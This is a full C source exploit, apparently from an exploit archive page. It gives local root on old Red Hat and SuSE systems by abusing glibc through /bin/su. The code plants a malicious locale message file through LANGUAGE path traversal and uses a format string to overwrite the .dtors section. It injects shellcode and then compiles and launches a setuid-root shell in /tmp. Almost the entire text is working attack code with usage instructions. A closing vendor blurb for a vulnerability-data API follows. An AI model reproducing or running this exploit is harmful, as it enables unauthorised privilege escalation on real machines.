======================================
GLIBC (via /bin/su) Local Root Exploit
======================================
/*
*
* Working exploit for glibc executing /bin/su
*
* To exploit this i have used a technique that
* overwrites the .dtors section of /bin/su program
* with the address of the shellcode, so, the program
* executes it when main returns or exit() is called
*
* Thanks a lot to rwxrwxrwx <[email protected]> for
* explaining me this technique :)
*
* The address of .dtors section can be easily obtained
* with objdump -h filename.
*
* One the address of .dtors is known, the shellcode is
* pushed in a env var with a lot of nops, and the size
* of the "piece" of stack that must be "eaten" is calculated
* with a loop. At this point, we know the exact values of
* all parameters exept the address of the shellcode, but this
* value can be guessed with a little work :)
*
* Tested on: Red Hat 6.2, 6.1
* SuSE 6.2
*
* Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...
* (y todos los que me olvido)
*
*
* Doing / localcore - [email protected]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>
char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";
char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;
char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;
char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();
int main(int argc, char **argv)
{
char execbuf[1024];
unsigned long dtors_addr = 0xAABBCCDD;
unsigned long sh_addr = 0xBFFFFFFF;
FILE *f;
char *env[3];
char *args[6];
int eat = 0, pad = 0, fd;
char *nop_env;
int offset = 5000;
struct stat st;
int pid, c;
char randfile[1024];
char *args2[2], opt;
printf("glibc xploit for /bin/su - by Doing <[email protected]>\n");
printf("Usage: %s [options]\n", argv[0]);
printf(" -o offset [default: 5000]\n");
printf(" -n nops [default: 12000]\n");
printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
printf(" -O path to objdump [default: /usr/bin/objdump]\n");
printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
printf(" -l language set language used in env var [default: search
it]\n");
printf("Enjoy!\n\n");
while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
switch(opt) {
case 'o':
offset = atoi(optarg);
break;
case 'n':
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O':
objdump = strdup(optarg);
break;
case 'e':
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 'l':
language = (char*) malloc(40 + strlen(optarg));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:
exit(0);
}
printf("Phase 1. Checking paths and write permisions\n");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);
printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
printf("failed. cannot stat /tmp\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it's not +w\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf(" Checking read permisions on /bin/su...");
if (stat("/bin/su", &st) < 0) {
printf("failed. cannot stat /bin/su\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IROTH)) {
printf("failed. /bin/su it's not +r\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
if (!language) {
printf(" Checking for a valid language...");
search_valid_language();
printf("Ok\n");
}
printf(" Checking that %s does not exist...", LC_MESSAGES);
if (stat(LC_MESSAGES, &st) >= 0) {
printf("failed. %s exists\naborting\n", LC_MESSAGES);
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));
if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
else {
calculate_eat_space(&eat, &pad);
printf("done\n eat = %i and pad = %i\n", eat, pad);
}
fflush(stdout);
sh_addr -= offset;
printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
fflush(stdout);
mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
fclose(f);
sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
system(execbuf);
nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
env[0] = language;
env[1] = NULL;
printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();
printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);
printf("Phase 5. Compiling suid shell\n");
fflush(stdout);
make_suid_shell();
printf("Phase 6. Executing /bin/su\n");
fflush(stdout);
args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(dtors_addr, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
sprintf(randfile, "/tmp/tmprand%i", rand());
if (!(pid = fork())) {
close(1);
close(2);
fd = open(randfile, O_CREAT | O_RDWR);
dup2(fd, 1);
dup2(fd, 2);
execve(args[0], args, env);
printf("failed to exec /bin/su\n"); exit(0);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
waitpid(pid, &c, 0);
unlink(randfile);
stat("/tmp/kidd0", &st);
if (!(S_ISUID & st.st_mode)) {
printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
exit(0);
}
printf(" - Entering rootshell ;-) -\n");
fflush(stdout);
if (!(pid = fork())) {
args2[0] = "/tmp/kidd0";
args2[1] = NULL;
execve(args2[0], args2, NULL);
printf("failed to exec /tmp/kidd0\n");
exit(0);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
waitpid(pid, &c, 0);
printf("Phase 7. Cleaning enviroment\n");
sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
system(execbuf);
}
char ret_make_format[0xffff];
char *make_format_string(unsigned long sh_addr, int eat, int test)
{
char *ret = ret_make_format;
int c, waste;
int hi, lo;
memset(ret, 0, 0xffff);
for (c = 0; c < eat; c++) strcat(ret, "%8x");
waste = 8 * eat;
hi = (sh_addr & 0xffff0000) >> 16;
lo = (sh_addr & 0xffff) - hi;
if (!test) {
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
}
else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
return ret;
}
unsigned long get_dtors_addr()
{
char exec_buf[1024];
char file[128];
char buf[1024], sect[1024];
FILE *f;
unsigned long ret = 0, tmp1, tmp2, tmp3;
sprintf(file, "/tmp/tmprand%i", rand());
sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
system(exec_buf);
f = fopen(file, "r");
if (!f) {
perror("fopen()");
exit(0);
}
while (!feof(f)) {
fgets(buf, 1024, f);
sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
printf("."); fflush(stdout);
if (strcmp(sect, "dtors")) continue;
ret = tmp3;
break;
}
unlink(file);
if (!ret) {
printf("error getting the address of .dtors\naborting");
exit(0);
}
return ret+4;
}
char ret_make_ret_str[0xffff];
char *make_ret_str(unsigned long dtors_addr, int pad)
{
char *ret = ret_make_ret_str, *ptr2;
unsigned long *ptr = (unsigned long*) ret;
int c;
memset(ret, 0, 0xffff);
*ptr = dtors_addr+2;
*(ptr+1) = 0xAABBCCDD;
*(ptr+2) = dtors_addr;
ptr2 = &ret[strlen(ret)];
while (pad--)
*(ptr2++) = 0xaa;
return ret;
}
void calculate_eat_space(int *eatr, int *padr)
{
int eat = 0, pad = 0;
char tmpfile[128];
FILE *f;
char execbuf[1024];
int fds[2], tmpfd;
unsigned long test_value = 0xAABBCCDD;
char *nop_env;
char *env[2];
char *args[6];
char buf[1024];
int l, pid;
struct stat st;
char *readbuf = NULL, *token;
unsigned long t1, t2;
tmpfile[0] = '\0';
nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
for (eat = 50; eat < 200; eat++) {
for (pad = 0; pad < 4; pad++) {
if (tmpfile[0]) unlink(tmpfile);
chdir("/");
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
fclose(f);
sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
system(execbuf);
pipe(&fds);
if (!(pid = fork())) {
close(fds[0]);
close(1);
close(2);
dup2(fds[1], 1);
dup2(fds[1], 2);
env[0] = language;
env[1] = NULL;
args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_value, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
execve(args[0], args, env);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
close(fds[1]);
sprintf(tmpfile, "/tmp/tmprand%i", rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);
if (tmpfd < 0) {
perror("open()");
exit(0);
}
while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
close(tmpfd);
waitpid(pid, &l, 0);
stat(tmpfile, &st);
chmod(tmpfile, 0777);
f = fopen(tmpfile, "r");
if (!f) {
perror("fopen()");
exit(0);
}
if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(readbuf, 0, st.st_size);
fread(readbuf, 1, st.st_size, f);
fclose(f);
token = strtok(readbuf, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t1 = strtoul(token, NULL, 16);
token = strtok(NULL, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t2 = strtoul(token, NULL, 16);
if (t2 == test_value)
if (t1 == (test_value+2)) {
*eatr = eat;
*padr = pad;
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
if (tmpfile[0]) unlink(tmpfile);
return;
}
// sleep(10);
}
printf(".");
fflush(stdout);
}
if (tmpfile[0]) unlink(tmpfile);
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
exit(0);
}
void checkfor(char *p)
{
int fd;
fd = open(p, O_RDONLY);
if (fd < 0) {
printf("failed\naborting\n");
exit(0);
}
close(fd);
printf("Ok\n");
fflush(stdout);
}
void make_suid_shell()
{
FILE *f;
char execbuf[1024];
f = fopen("/tmp/kidd0.c", "w");
if (!f) {
printf(" failed to create /tmp/kidd0.c\naborting\n");
exit(0);
}
fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
fclose(f);
sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
system(execbuf);
sprintf(execbuf, "rm -f /tmp/kidd0.c");
system(execbuf);
f = fopen("/tmp/kidd0", "r");
if (!f) {
printf(" failed to compile /tmp/kidd0.c\naborting\n");
exit(0);
}
fclose(f);
printf(" /tmp/kidd0 created Ok\n");
fflush(stdout);
}
void search_valid_language()
{
DIR *locale;
struct dirent *dentry;
locale = opendir("/usr/share/locale");
if (!locale) {
perror("failed to opendir /usr/share/locale");
printf("aborting\n");
exit(0);
}
while (dentry = readdir(locale)) {
if (!strchr(dentry->d_name, '_')) continue;
language = (char*) malloc(40 + strlen(dentry->d_name));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(dentry->d_name));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
dentry->d_name);
closedir(locale);
printf(" [using %s] ", dentry->d_name);
return;
}
printf("failed to find a valid language\naborting\n");
exit(0);
}
# 0day.today [2018-04-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation